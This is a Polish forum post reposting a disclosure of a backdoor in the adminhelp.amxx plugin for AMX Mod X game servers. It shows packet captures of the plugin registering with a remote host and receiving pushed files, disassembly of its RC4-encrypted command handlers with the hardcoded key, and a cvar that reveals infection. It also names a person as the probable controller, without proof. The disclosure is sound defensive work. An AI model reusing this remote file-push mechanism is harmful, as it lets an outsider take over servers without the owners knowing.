Cześć !
Z tej strony LosT. Witajcie w dzisiejszym SHOW !
A więc, przeglądając ładnie GHT natknąłem się na dość świeży i ciekawy temat.
Pozwolę sobie przytoczyć całą jego treść.
Czołem,
xxx (xxx z powodu blokady na amxx wstawiania tego linku
) (Odnośnik do "NEWSA o zabezpieczeniach pukawki
) - czy ktoś był ciekaw co zostało zmienione w pluginie adminhelp.amxx? Po krótkim śledzwie okazało się, że jest to swoistybackdoor napisany i kontrolowany najprawdopodobniej przez peku33.
Plugin adminhelp.amxx:
- Po włączeniu serwera plugin wysyła informacje o rejestracji serwera do 92.222.33.22 na port 26000 (UDP) (l33tn3t.pl, http://master.serwery.********.***/), w tym także nazwę pluginu i adres:ip port serwera.
Quote
58\95*\B2#RegisterServer\00\00\00\00\00\00\00\00\00\001adminhelp.amxxAdmin Help1.8.3-dev+567fbcdAMXX Dev Teamx.x.x.x:27015
- Następnie serwer odpowiada i prosi o sprawdzenie sumy md5 pliku antiflood.amxx
Quote
\EC\C5fƅ#GetFileMD5\00\00\00\00\00\00\00\00\00\00\00\00\00\00addons/amxmodx/plugins/antiflood.amxx
- Plugin odpowiada jaką ma sumę plik antiflood.amxx:
Quote
[/\CDw\C0\E0#GetFileMD5\00\00\00\00\00\00\00\00\00\00\00\00\00\00addons/amxmodx/plugins/antiflood.amxxbd9d5710601cee3d371c453d38a7887d
- Jeśli plugin antiflood.amxx ma odpowiednią sumę (d9d5710601cee3d371c453d38a7887d) to jest koniec, jeśli jednak jest inna to serwer wysyła komendę do wgrania pliku "PushFile":
Quote
y\F0\EA\EB#PushFile\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00addons/amxmodx/plugins/antiflood.amxx\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00Dbd9d5710601cee3d371c453d38a7887d=\C5Tn\FD4\D9$\C8:\8B\C9\F4\B7\84\E6:h\8Ai\F4\CB\FDB\F3 h\B6չ4\F9$Ƙ\A3\8A\F7`S϶\F2h\F2\88\9B <\C4\E2v;Q˙0\84\93\CDR-\B09\95BJo\A7E!\FDA\83d#?f=1m\AC\A6\E5<\9Eh\EAO\DFV\F0\98\C0iWt\DA\D8
\90\A6\E9\EF\C0&t\FE\A0\E4k\CD\D1}b\F1l8\D1\8B:`\EF\FD.\E7]{R\BF\B0O\A5A\AD\D2X#o\DF4\A2\F4^(jkM\87\FDe\C5ʈ\A6 m\E5\95\8F\FBMM\B0_\C0=\E7`\BEΝS\E7\F6X\B9ѡl\B9B\A5\B7QQ\F9\88
\A8䴶y\9BŃ\DC5lKQ\BA)\87i"2\BA\AA\A8)O\EA\A6\EC\B32q\ABI\E1\9E\D1\00\EB\ACde\CF4\9B\88\93\D5@)\92Z\CE:\EC&牢\BBŴ,<\C9\C4nq\B2QO1y\AB\F4\A7A\EA\8A
\C5r&\F0\\D1\F5\9Flᡒ\85L\E8\B4\E1\DE"\86\B4\ACu⇝X\F8\E0H\DE\C9\E9\A7\D3\D4,B\A0{G\9F\ACP\BCY\82\D9#\D9A\AF\C5\EA\8A2\BDc\DE\EF\AD㱖*\E8\B4\E3\EBxO\98G\BC\B2Q\C6$[\99\E4\E9ƫ\F7dY\AA\E0\A8+\CAtUQ\E4(\DCm\E0\E1|\9F\95F\99\Ϗ\91\B6g&\A4NH*8\E1\9E\F9yiK\C5\EB\E6\E4f4\BA\B6n\E6b#z\AD\9D\D8[i\C3z\ED\9B\EC`\A5\FD\84^7'\A3ZiqvP\BC\AA\D0\C6i\B0\D2>\F1$\97\A0Z\87P?9\D4\DF\EFd\A1z\83'\AAs\9Eǩ\EC\A2\CF9#n\95\EDr\94!\85\F4>3j\E3\FE\A3v$\9Fζ\B4\E9/\9E<Ѯ\C7\FA\C0̈o\D3|Ah:)`Q\95Tl\D7\DE\FD\FBï<\FDҾg_x>\BC\AFw\F8\AAA\A1\DA\D6 \84OFr\CE\E3ۺ\9Dhv$\83\AF\E0\F4F&L\FF*G\FDt\CAO\DD%t.5\F4u\E9\C2/=\B5\8D}o\C6@\F0J$\8F\A1F\E1o\E8\D4\F7\DBf\ECQ8\AC\BF\A2#\81\CB7`\E15~/3\B9^\93x4/\9F$\E2o\C5\E8\F7L\E5-~\A9\8BKK'\F1\B9!\BEAǦ\C5\C0a\C0\C3\D1I\A1\BE1\BD\99\90\B7"fx\A5\F6'\86r\83a\FA\9D\E3r2\A4HX^\F0\F0\CAv\98o A\B6\B5\BCZ$\9Dd\94\DE\C2\E6w\B1\F1\BD-/\89\F5A&؎-\88:\95$\C3ǚ\A0\AB\8E%\C9\F4\87\9C.W\96\AFF&\9D\CD\CB\ABJ& \D2\FD\FDgt\83\E4\9CLDw]}7bz\F5B\F3\F3
- Plugin antiflood.amxx zostaje wgrany na serwer, w ukryciu. Plugin antiflood.amxx to praktycznie posiada identyczny mechanizm co adminhelp.amxx, czyli możliwość wgrywania i usuwania plików.
Właściciel l33tn3t.pl ma możliwość przejęcia zarażonego serwera.
Ten backdoor został dopisany także do innych pluginów, w naszej firmie znaleźliśmy go w wielu różnych pluginach - plugin rejestruje cvar "_tutor_hint_interval_time_pev" - więc jeśli go masz na swoim serwerze ( do sprawdzenia komendą amxx cvars ) to znaczy, że twój serwer jest kontrolowany przez peku33.
Dla mnie to SKANDAL, że pukawka dopuściła się do czegoś takiego.
A więc pytam się: Czy pukawka.pl jest świadoma, że wgrała na serwery swoich klientów swoistego backdoora KTÓRY jest kontrolowany przez serwer osoby trzeciej - czyli najprawdopodobniej peku33? Czy może jest to w ramach współpracy między nimi a http://serwery.********.***/ w jakimś celu?
Czy pukawka.pl miała kod źródłowy tego pluginu i wiedziała dokładnie co robi?
Specjalne podziękowania dla użytkownika JabLuszko bez którego nie dowiedzielibyśmy się o tym procederze.
Quote
CE4 PROC ; public dispInfo(id)
0xF18 PROC ; stock peku33PatchPluginInit()
0xF3C PROC ; public peku33PatchPluginCfg()
0xF60 PROC ; public peku33PatchPluginEnd()
0xF84 PROC ; stock __l33tn3t_plugin_init()
0x1074 PROC ; stock __l33tn3t_plugin_cfg()
0x189C PROC ; public amx_g_check_bomb_pev_interval()
0x18C0 PROC ; stock __l33tn3t_check_socket()
0x2348 PROC ; stock __l33tn3t_plugin_end()
0x2460 PROC ; stock __l33tn3t_flush_temp()
0x2674 PROC ; stock __l33tn3t_memcpy(dst[],tocopy,src[])
0x2708 PROC ; stock __l33tn3t_sock_recv(command[24],data[1000])
0x2944 PROC ; stock __l33tn3t_sock_send(command[],data[],data_len)
0x2B9C PROC ; stock bool:Validator_FileName(FileName[])
0x2E98 PROC ; stock Encryption_RC4(Key[],KeyLen,Buffer[],BufferLen)
Quote
0x1BC8 SYSREQ.C 0x24 ; equal(command[24],"PushFile",0)
0x1C78 SYSREQ.C 0x7 ; copy(file_name[128],127,data[1000])
0x1CD0 SYSREQ.C 0x7 ; copy(tmp_file_name[256],255,file_name[128])
0x1D48 SYSREQ.C 0x27 ; format(tmp_file_name[256],255,"%s/%s",__l33tn3t_tempdir[15]={"sprites/.cache"},tmp_file_name[256])
0x1E30 SYSREQ.C 0x7 ; copy
0x1E64 SYSREQ.C 0x28 ; fopen(tmp_file_name[256],"a+b")
0x1EC4 SYSREQ.C 0x29 ; fseek
0x1F54 SYSREQ.C 0x2A ; fputc
0x1F88 SYSREQ.C 0x2B ; fclose(file)
0x1FD4 SYSREQ.C 0x26 ; md5_file(tmp_file_name[256],tmp_file_md5[34])
0x2008 SYSREQ.C 0x24 ; equal(tmp_file_md5[34],file_md5[34],0)
0x205C SYSREQ.C 0x1 ; strlen(file_name[128])
0x210C SYSREQ.C 0x7 ; copy
0x2130 SYSREQ.C 0x1C ; mkdir(temp_dir_path[128])
0x2174 SYSREQ.C 0x2C ; rename_file(tmp_file_name[256],file_name[128],1)
0x21D8 SYSREQ.C 0x27 ; format
0x2260 SYSREQ.C 0x24 ; equal(command[24],"DeleteFile",0)
0x228C SYSREQ.C 0x1 ; strlen(data[1000])
0x22F4 SYSREQ.C 0x25 ; file_exists(data[1000])
0x2320 SYSREQ.C 0x2D ; delete_file(data[1000])
0x2390 SYSREQ.C 0x2E ; task_exists(__l33tn3t_socket_check_taskid,0)
0x23C4 SYSREQ.C 0xD ; remove_task(__l33tn3t_socket_check_taskid,0)
0x23FC SYSREQ.C 0x2F ; rmdir(__l33tn3t_tempdir[15]={"sprites/.cache"})
0x243C SYSREQ.C 0x30 ; socket_close(__l33tn3t_socket)
0x24B4 SYSREQ.C 0x31 ; open_dir(__l33tn3t_tempdir[15]={"sprites/.cache"},tmp_file_name[256],255)
0x2520 SYSREQ.C 0x24 ; equal(tmp_file_name[256],".",0)
0x255C SYSREQ.C 0x24 ; equal(tmp_file_name[256],"..",0)
0x25C8 SYSREQ.C 0x27 ; format(tmp_file_name[256],255,"%s/%s",__l33tn3t_tempdir[15]={"sprites/.cache"},tmp_file_name[256])
0x25EC SYSREQ.C 0x2D ; delete_file(tmp_file_name[256])
0x2620 SYSREQ.C 0x32 ; next_file(dir,tmp_file_name[256],255)
0x2654 SYSREQ.C 0x33 ; close_dir(dir)
0x275C SYSREQ.C 0x34 ; socket_recv(__l33tn3t_socket,packet[1031],1031)
0x284C SYSREQ.C 0x1 ; strlen(__l33tn3t_rc_key[12]={"l33tn3et4tw"})
0x28E4 SYSREQ.C 0x7 ; copy
0x29E0 SYSREQ.C 0x22 ; random_num(0,255)
0x2A5C SYSREQ.C 0x7 ; copy
0x2AB0 SYSREQ.C 0x1 ; strlen(data[])
0x2AD4 SYSREQ.C 0x35 ; min
0x2B30 SYSREQ.C 0x1 ; strlen(__l33tn3t_rc_key[12]={"l33tn3et4tw"})
0x2B80 SYSREQ.C 0x36 ; socket_send2(__l33tn3t_socket,packet[1030],1030)
0x2BC0 SYSREQ.C 0x1 ; strlen(FileName[])
Te informacje opublikowała na GHT Zabijaka.pl.
Nie mam zamiaru tego komentować, a wam pozostawiam temat do własnych komentarzy.
Pozdrawiam
LosT & 1s1k.pl